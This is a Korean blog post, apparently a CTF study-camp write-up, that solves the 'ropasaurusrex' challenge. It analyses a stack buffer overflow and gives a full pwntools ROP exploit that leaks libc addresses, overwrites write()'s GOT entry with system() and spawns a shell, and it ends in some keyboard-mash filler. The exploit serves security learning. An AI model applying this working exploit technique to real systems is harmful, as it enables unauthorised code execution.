REPORT/2018 Winter Hellcamp

[CTF Writeup]ropasaurusrex

dcho 2019. 1. 15. 00:56
SMALL

2018 Winter Hellcamp 과제로 ctf문제인 ropasaurusrex 문제를 내주셨습니다.


먼저 기본적으로 IDA를 이용하여 살펴봤습니다.


분석 결과를 보아 하니 취약점을 확인해 볼수 있었습니다.

-> buf는 88h(136 byte), 입력은 256 byte 이므로 Buffer Overflow 가 발생합니다.


실행을 해본 결과 buf의 크기인 136 Byte를 넘는 문자열을 입력했으니, 당연히 Overflow가 나고, segmentation fault가 뜹니다.


이제 다른 정보로써 Linux 환경에서의 메모리 보호기법이 무엇이 걸려있는지 확인을 하기 위해 pwntools를 이용하였습니다.


확인한 결과 NX bit가 설정되어있습니다.

(NX bit는 stack segment의 Excute 권한을 제한함으로써, stack에 쉘 코드를 저장하고 이를 실행하여 악용되는 것을 막기위한 메모리 보호기법입니다!)


목표는 하나 쉘을 실행시키는 것입니다. 

보호기법이 걸려있는 상황으로 봐선 쉘코드가 있는 주소로 가던지 아니면 system 함수가 있는 주소로 가는것입니다.

(system함수로 갈시엔 안에 들어가는 "/bin/sh"를 쓸 공간을 마련해 줍니다.)


그러면 system() 함수를 사용할 방법, 쉘을 따기 위한 "/bin/sh"데이터를 넣을 어딘가를 찾아보겠습니다.

하지만! 이 문제에는 system() 함수를 쓰지않고있습니다... 

그렇다면 ROP(Return Oriented Programming)를 이용합니다.

필요한 지식 

RTL Chaining 관련 내용은 여기 참조 - http://d4m0n.tistory.com/80?category=796362

PLT & GOT 관련 내용은 여기 참조 -http://bob3rdnewbie.tistory.com/190

ROP 관련 내용은 여기 참조 - http://d4m0n.tistory.com/84?category=796362


일단 공격에 필요한 요소 read, write 함수에 대한 주소들과 가젯을 구하고, 이 문제에서는 ALSR이 걸려있으므로 system() 함수의 Offset을 구한 뒤, Exploit을 하면 될것 같습니다.


Exploit 과정은 다음과 같습니다.

1. wirte() 함수로 read() 함수의 실제 주소를 얻습니다.

2. read() 함수 - system() 함수의 Offset을 구해 system() 함수의 실제 주소를 얻습니다.

3. read() 함수로 BSS 영역에 "/bin/sh" 문자열을 저장합니다.

4. read() 함수로 write() 함수의 GOT에 system() 함수의 실제 주소를 저장합니다.

5. BSS 영역의 주소를 인자로 write() 함수의 PLT을 호출하여 실질적으로는 system() 함수를 호출합니다.


먼저 read(), write() 함수의 PLT와 GOT의 주소를 구합니다.

plt는 바로 구할수 있었지만 got는 디버거 실행중 인터럽트를 통해 구합니다. (main으로 브레이크 포인트를 잡을수 없기에 실행시켜주고 Ctrl+C 버튼을 이용해 브레이크 포인트를 걸어줍니다.)


read() 함수 PLT 의 주소 0x804832c

read() 함수 GOT 의 주소 0x804961c


wirte() 함수 PLT 의 주소 0x804830c

wirte() 함수 GOT 의 주소 0x8049614

read(), write() 함수 모두 인자가 3개 이므로 pop pop pop ret의 가젯을 구하면 됩니다. (인자가 3개라 pop3번 하고 ret으로 호출해줍니다.)

objdump를 통해 파일 디스어셈블 작업을 합니다. (-B4 "ret"은 ret앞으로 4개만 보여주세요!)

PPPR 의 주소 0x80484b6

그리고 gdb를 이용하여 system() 함수의 Offset을 구합니다.

system() 함수의 Offset = 0x9ad60

마지막으로 BSS 주소입니다. BSS Segment 0x8049628


이제는 pwntools을 이용해 Exploit 작성합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
= process('./ropasaurusrex')
 
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
pppr = 0x80484b6
offset = 0x9ad60
bss = 0x8049628
 
 
payload = 'A' * 140
 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += 'A' * 4
payload += p32(bss)
 
 
log.info('Exploit')
p.send(payload)
 
read_addr = u32(p.recv(4))
 
system_addr = read_addr - offset
 
p.send('/bin/sh\x00')
p.send(p32(system_addr))
 
p.interactive()
 
cs









ㅇㄴㅁㅇㅁㄴㅇ




ㅇㄹㄴㅇㅇㄴㄹㅇㄴㄹ

호ㅜㅜㅠ푸퓨퓨ㅜㅠ퓨ㅜ퓨